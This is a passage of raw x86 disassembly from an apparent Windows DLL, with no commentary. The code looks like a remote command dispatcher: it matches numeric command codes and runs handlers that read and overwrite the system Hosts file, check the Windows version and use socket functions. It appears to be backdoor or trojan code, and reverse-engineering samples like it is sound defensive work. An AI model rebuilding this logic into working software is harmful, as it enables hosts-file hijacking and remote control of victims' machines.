mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002b22d
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x1002b240
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x1002b253
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x1002b266
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x1002b279
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x1002b28c
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x1002b29f
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x1002b2b2
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x1002b2c5
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002b2d5
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002b2e5
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x7c]
test eax, eax
jne 0x1002b2fb
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ad5c0
add esp, 0x10
mov dword [ebp - 0x80], eax
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x1002b327
push ebx
call fcn.100abdd7
add esp, 4
push 1
push dword [ebp - 0x80]
call fcn.100033ab
jmp 0x1002dd78
push str.110040
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002b3cf
push reloc.WS2_32.dll_connect
push 0
push str.110040
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000565e
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002b399
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002b3ca
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110041
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002b541
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002b3fb
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100dd01e
push dword [ebp - 0x44]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002b43f
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x1002b4c4
call fcn.10038803
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002b464
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002b48a
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.110041
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002b4af
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002b4bf
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002b53c
push reloc.WS2_32.dll_connect
push 0
push str.110041
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000565e
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002b50b
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002b53c
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110042
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002bb39
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002b56d
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push str.hosts
push dword [ebp - 0x44]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002b5b1
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x1002b6bd
cmp dword [0x100e6c99], 1
jne 0x1002b662
push 0x80000301
push 0
push 8
push 1
mov ebx, 0x1c
mov eax, 0x100b6fa0
call fcn.100acb10
add esp, 0x10
mov dword [ebp - 0x44], eax
push str.Hosts
push dword [ebp - 0x44]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002b616
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x1002b629
mov eax, 0x100d424e
push eax
push reloc.WS2_32.dll_connect
push 0
push str.C:WINDOWS_system32driversetcHosts
push 2
mov ebx, 0x23c
call fcn.100b3590
add esp, 0x1c
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002b658
push ebx
call fcn.100abdd7
add esp, 4
mov dword [0x100e6c99], 0
push reloc.WS2_32.dll_connect
push 0
push str.C:WINDOWS_system32driversetcHosts
push 1
mov ebx, 0x268
call fcn.100afbe0
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110042
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002b6a8
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002b6b8
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002bb34
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002b6d0
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x80000301
push 0
push 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x1002b705
mov eax, 0x100d424e
push eax
push 2
mov ebx, 0x134
call fcn.100adf10
add esp, 0x1c
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002b72e
push ebx
call fcn.100abdd7
add esp, 4
push 0x100dd060
push dword [ebp - 0x50]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x1002b765
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x54], 0
je 0x1002ba3d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002b785
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x54], 0
push 0
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x58], 0
push 0
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x60], 0
push 0
lea eax, [ebp - 0x60]
push eax
mov dword [ebp - 0x64], 0
push 0
lea eax, [ebp - 0x64]
push eax
mov eax, 0x100d424e
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
mov eax, 0x100dd065
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
mov dword [ebp - 0x70], 0
push 0
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
lea eax, [ebp - 0x44]
push eax
call fcn.1000b415
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002b8a0
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x1002b8b3
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x1002b8c6
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x1002b8d9
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x1002b8ec
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x1002b8ff
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x1002b912
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x1002b925
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x1002b938
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002b948
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002b958
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x7c]
test eax, eax
jne 0x1002b96e
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x80], eax
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x1002b99a
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x80]
test eax, eax
jne 0x1002b9b0
mov eax, 0x100d42b8
push eax
push reloc.WS2_32.dll_connect
push 0
push str.C:WINDOWS_system32driversetcHosts
push 2
mov ebx, 0x26c
call fcn.100adc90
add esp, 0x1c
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x1002b9e2
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push str.C:WINDOWS_system32driversetcHosts
push 1
mov ebx, 0x268
call fcn.100afbe0
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110042
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002ba28
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002ba38
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002bb34
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002ba50
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100dd06b
push dword [ebp - 0x4c]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002ba97
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x1002bb34
push 0x80000301
push 0
push 8
push 1
mov ebx, 0x1c
mov eax, 0x100b6fa0
call fcn.100acb10
add esp, 0x10
mov dword [ebp - 0x44], eax
push str.Hosts
push dword [ebp - 0x44]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002baf2
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push str.C:WINDOWS_system32driversetcHosts
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x1002bb11
mov eax, 0x100d424e
push eax
push 2
mov ebx, 0x23c
call fcn.100b3590
add esp, 0x1c
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002bb34
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110045
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002bba7
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002bb65
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
push 1
lea eax, [ebp - 0x44]
push eax
call fcn.1002dfa2
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002bba2
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110046
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002c0d2
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6bb9]
test eax, eax
jne 0x1002bbe1
mov eax, 0x100d424e
push eax
push 2
mov ebx, 0x134
call fcn.100adf10
add esp, 0x1c
mov dword [ebp - 0x44], eax
push str.Windows_XP
push dword [ebp - 0x44]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002bc25
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x1002bcab
push 0x80000301
push 0
push 0x13
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6bb9]
test eax, eax
jne 0x1002bc50
mov eax, 0x100d424e
push eax
push 2
mov ebx, 0x134
call fcn.100adf10
add esp, 0x1c
mov dword [ebp - 0x4c], eax
push str.Windows_Server_2003
push dword [ebp - 0x4c]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002bc97
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x1002bcab
mov eax, 1
jmp 0x1002bcb0
mov eax, 0
test eax, eax
je 0x1002c0cd
call fcn.100373e3
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d4735
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002bce5
mov eax, 0x100d424e
push eax
push 3
mov ebx, 0x190
call fcn.100ad930
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002bd0b
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1002bd2d
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1002bd29
imul eax, dword [ebx]
jmp 0x1002bd1e
mov ecx, eax
test ecx, ecx
je 0x1002bd4c
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1002bd45
push ebx
push eax
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1002bd33
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10002428
xor ecx, ecx
push eax
lea eax, [ebp - 8]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x1002c0ca
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x1002bd9e
push 0x44c6
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1002bdbb
push 0x44c6
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002bdd6
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x48], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x1002be11
mov eax, 0x100d424e
push eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x1002be27
mov eax, 0x100d424e
push eax
push 4
mov ebx, 0x148
call fcn.100acbb0
add esp, 0x34
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002be4d
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x4c], 0xffffffff
je 0x1002c0c2
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x1002be7e
push 0x4529
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1002be9b
push 0x4529
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d43a1
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x1002beca
mov eax, 0x100d424e
push eax
push 3
mov ebx, 0x190
call fcn.100ad930
add esp, 0x28
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x38]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1002bf02
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1002befe
imul eax, dword [ebx]
jmp 0x1002bef3
mov ecx, eax
test ecx, ecx
je 0x1002bf21
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1002bf1a
push ebx
push eax
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1002bf08
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x38]
call fcn.10002428
xor ecx, ecx
push eax
lea eax, [ebp - 0x3c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x1002c0bf
mov ebx, dword [ebp - 0x38]
call fcn.10001d16
push ebx
push ecx
mov eax, dword [ebp - 0x3c]
dec eax
jns 0x1002bf73
push 0x45ab
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1002bf90
push 0x45ab
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002bfab
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x48], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x1002bfe6
mov eax, 0x100d424e
push eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x1002bffc
mov eax, 0x100d424e
push eax
push 4
mov ebx, 0x148
call fcn.100acbb0
add esp, 0x34
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002c022
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x4c], 0xffffffff
je 0x1002c0b7
mov ebx, dword [ebp - 0x38]
call fcn.10001d16
push ebx
push ecx
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x48]
fld qword [ebp - 0x48]
fsub qword [0x100d42c0]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
call fcn.10001713
dec eax
jns 0x1002c070
push 0x460e
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1002c08d
push 0x460e
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x58], 0
push 0
push dword [ebp - 0x58]
push 1
push dword [ebp - 0x54]
call fcn.1002dfa2
pop eax
pop ebx
pop ecx
jmp 0x1002bf3e
add esp, 0xc
pop eax
pop ebx
pop ecx
jmp 0x1002bd69
add esp, 0xc
jmp 0x1002dd78
push str.110047
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002c27d
push reloc.WS2_32.dll_connect
push 0
push str.C:WINDOWS_system32driversetcHosts
push 1
mov ebx, 0x268
call fcn.100afbe0
add esp, 0x10
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002c11f
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002c145
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002c158
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x1002c181
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x174
call fcn.100ada90
add esp, 0x10
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002c1aa
push ebx
call fcn.100abdd7
add esp, 4
push dword [ebp - 0x50]
push 0x100d4735
push dword [ebp - 0x48]
mov ecx, 3
call fcn.100010a5
add esp, 0xc
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002c1db
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x1002c1ee
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x1002c204
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x1002c230
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x1002c246
mov eax, 0x100d42b8
push eax
push reloc.WS2_32.dll_connect
push 0
push str.C:WINDOWS_system32driversetcHosts
push 2
mov ebx, 0x26c
call fcn.100adc90
add esp, 0x1c
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x1002c278
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110048
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002c476
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002c2a9
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d43a1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002c2e4
mov eax, 0x100d424e
push eax
push 3
mov ebx, 0x190
call fcn.100ad930
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002c30a
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1002c32c
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1002c328
imul eax, dword [ebx]
jmp 0x1002c31d
mov ecx, eax
test ecx, ecx
je 0x1002c34b
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1002c344
push ebx
push eax
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1002c332
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10002428
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jne 0x1002c471
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 0
cmp eax, ecx
jl 0x1002c394
push 0x487f
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
je 0x1002c3ba
push eax
mov ebx, eax
call fcn.1000103a
inc eax
push eax
call fcn.100abdd1
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x100e6d2d]
test ebx, ebx
je 0x1002c3ce
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [0x100e6d2d], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x1002c3fc
push 0x48a6
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
je 0x1002c422
push eax
mov ebx, eax
call fcn.1000103a
inc eax
push eax
call fcn.100abdd1
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x100e6d31]
test ebx, ebx
je 0x1002c436
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [0x100e6d31], eax
push 0x80000301
push 0
push 0x100e6d35
push 0
push 0
push 0
push reloc.WS2_32.dll_getsockname
push 0
push 0x1003e050
push 3
mov ebx, 0
mov eax, 0x100b7880
call fcn.100acb10
add esp, 0x28
jmp 0x1002dd78
push str.110049
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002c520
mov dword [0x100e6d39], 1
push 0x80000301
push 0
push dword [0x100e6d35]
push 1
mov ebx, 0x18
mov eax, 0x100b78e0
call fcn.100acb10
add esp, 0x10
test eax, eax
je 0x1002c51b
push reloc.WS2_32.dll_connect
push 0
push 0x100dd093
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110048
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002c50b
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002c51b
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110050
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002c580
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002c54c
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
call fcn.10038f0c
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002c57b
push ebx
